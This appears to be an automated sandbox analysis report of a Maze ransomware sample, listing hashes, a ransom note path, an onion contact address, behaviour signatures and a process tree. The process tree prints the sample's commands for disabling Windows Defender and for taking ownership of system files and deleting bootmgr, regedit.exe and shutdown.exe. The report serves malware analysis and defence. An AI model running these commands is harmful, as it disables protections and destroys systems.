Analysis
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max time kernel
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max time network
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platform
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resource
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submitted
25-10-2021 07:50
Static task
static1
Behavioral task
behavioral1
Sample
b53415f6_lcvDB3iF4J.exe
Resource
win7-en-20210920
General
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Target
b53415f6_lcvDB3iF4J.exe
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Size
7.4MB
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MD5
b53415f6d38ce4831cbf327daf5201b4
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SHA1
778d6f976e10d201903c76adcd18f14e685a3704
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SHA256
4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8
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SHA512
0c2e2fd8ebfe175dc844d64ad9e85f8ab23f8e63b75d7773a38bf68741071c0ea6aa91402b1ab5813a7d66b289650b1e868c56dd86636dcc26c37c07bdb55bb4
Malware Config
Extracted
C:\Users\Admin\Desktop\DECRYPT-FILES.TXT
http://mail2tor2zyjdctd.onion/
Signatures
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Maze
Ransomware family also known as ChaCha.
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
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Disables Task Manager via registry modification
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Executes dropped EXE 1 IoCs
pid Process 1800 VSSVC.exe -
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\MeasureSelect.raw => C:\Users\Admin\Pictures\MeasureSelect.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\UnregisterMount.crw => C:\Users\Admin\Pictures\UnregisterMount.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\DenyUnregister.raw => C:\Users\Admin\Pictures\DenyUnregister.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\EnableSuspend.png => C:\Users\Admin\Pictures\EnableSuspend.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\ExpandRegister.png => C:\Users\Admin\Pictures\ExpandRegister.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe -
Possible privilege escalation attempt 5 IoCs
pid Process 984 takeown.exe 1072 icacls.exe 1188 takeown.exe 1616 icacls.exe 1760 takeown.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion b53415f6_lcvDB3iF4J.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion b53415f6_lcvDB3iF4J.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion VSSVC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion VSSVC.exe -
Loads dropped DLL 1 IoCs
pid Process 1148 b53415f6_lcvDB3iF4J.exe -
Modifies file permissions 1 TTPs 5 IoCs
pid Process 1188 takeown.exe 1616 icacls.exe 1760 takeown.exe 984 takeown.exe 1072 icacls.exe -
resource yara_rule behavioral1/memory/1148-57-0x0000000000C50000-0x0000000000C51000-memory.dmp themida behavioral1/files/0x00060000000125c7-68.dat themida behavioral1/files/0x00060000000125c7-70.dat themida behavioral1/memory/1800-78-0x00000000003E0000-0x00000000003E1000-memory.dmp themida -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA b53415f6_lcvDB3iF4J.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA VSSVC.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1148 b53415f6_lcvDB3iF4J.exe 1800 VSSVC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1820 powershell.exe 1172 powershell.exe 1640 powershell.exe 896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 1148 b53415f6_lcvDB3iF4J.exe Token: SeDebugPrivilege 1148 b53415f6_lcvDB3iF4J.exe Token: SeDebugPrivilege 1820 powershell.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeDebugPrivilege 1172 powershell.exe Token: SeDebugPrivilege 896 powershell.exe Token: SeDebugPrivilege 1800 VSSVC.exe Token: SeDebugPrivilege 1800 VSSVC.exe Token: SeTakeOwnershipPrivilege 984 takeown.exe Token: SeTakeOwnershipPrivilege 1188 takeown.exe Token: SeTakeOwnershipPrivilege 1760 takeown.exe Token: 33 1524 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1524 AUDIODG.EXE Token: 33 1524 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1524 AUDIODG.EXE -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 1148 wrote to memory of 1820 1148 b53415f6_lcvDB3iF4J.exe 28 PID 1148 wrote to memory of 1820 1148 b53415f6_lcvDB3iF4J.exe 28 PID 1148 wrote to memory of 1820 1148 b53415f6_lcvDB3iF4J.exe 28 PID 1148 wrote to memory of 1820 1148 b53415f6_lcvDB3iF4J.exe 28 PID 1148 wrote to memory of 896 1148 b53415f6_lcvDB3iF4J.exe 30 PID 1148 wrote to memory of 896 1148 b53415f6_lcvDB3iF4J.exe 30 PID 1148 wrote to memory of 896 1148 b53415f6_lcvDB3iF4J.exe 30 PID 1148 wrote to memory of 896 1148 b53415f6_lcvDB3iF4J.exe 30 PID 1148 wrote to memory of 1640 1148 b53415f6_lcvDB3iF4J.exe 32 PID 1148 wrote to memory of 1640 1148 b53415f6_lcvDB3iF4J.exe 32 PID 1148 wrote to memory of 1640 1148 b53415f6_lcvDB3iF4J.exe 32 PID 1148 wrote to memory of 1640 1148 b53415f6_lcvDB3iF4J.exe 32 PID 1148 wrote to memory of 1172 1148 b53415f6_lcvDB3iF4J.exe 34 PID 1148 wrote to memory of 1172 1148 b53415f6_lcvDB3iF4J.exe 34 PID 1148 wrote to memory of 1172 1148 b53415f6_lcvDB3iF4J.exe 34 PID 1148 wrote to memory of 1172 1148 b53415f6_lcvDB3iF4J.exe 34 PID 1148 wrote to memory of 1800 1148 b53415f6_lcvDB3iF4J.exe 36 PID 1148 wrote to memory of 1800 1148 b53415f6_lcvDB3iF4J.exe 36 PID 1148 wrote to memory of 1800 1148 b53415f6_lcvDB3iF4J.exe 36 PID 1148 wrote to memory of 1800 1148 b53415f6_lcvDB3iF4J.exe 36 PID 1800 wrote to memory of 992 1800 VSSVC.exe 38 PID 1800 wrote to memory of 992 1800 VSSVC.exe 38 PID 1800 wrote to memory of 992 1800 VSSVC.exe 38 PID 1800 wrote to memory of 992 1800 VSSVC.exe 38 PID 992 wrote to memory of 984 992 cmd.exe 40 PID 992 wrote to memory of 984 992 cmd.exe 40 PID 992 wrote to memory of 984 992 cmd.exe 40 PID 992 wrote to memory of 984 992 cmd.exe 40 PID 992 wrote to memory of 1072 992 cmd.exe 41 PID 992 wrote to memory of 1072 992 cmd.exe 41 PID 992 wrote to memory of 1072 992 cmd.exe 41 PID 992 wrote to memory of 1072 992 cmd.exe 41 PID 992 wrote to memory of 1188 992 cmd.exe 42 PID 992 wrote to memory of 1188 992 cmd.exe 42 PID 992 wrote to memory of 1188 992 cmd.exe 42 PID 992 wrote to memory of 1188 992 cmd.exe 42 PID 992 wrote to memory of 1616 992 cmd.exe 43 PID 992 wrote to memory of 1616 992 cmd.exe 43 PID 992 wrote to memory of 1616 992 cmd.exe 43 PID 992 wrote to memory of 1616 992 cmd.exe 43 PID 992 wrote to memory of 1760 992 cmd.exe 44 PID 992 wrote to memory of 1760 992 cmd.exe 44 PID 992 wrote to memory of 1760 992 cmd.exe 44 PID 992 wrote to memory of 1760 992 cmd.exe 44
Processes
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C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1820
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172
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C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit3⤵
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System324⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:984
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32 /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1072
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\drivers4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1188
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\drivers /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1616
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\LogonUI.exe4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1760
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:1176
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x1481⤵
- Suspicious use of AdjustPrivilegeToken
PID:1524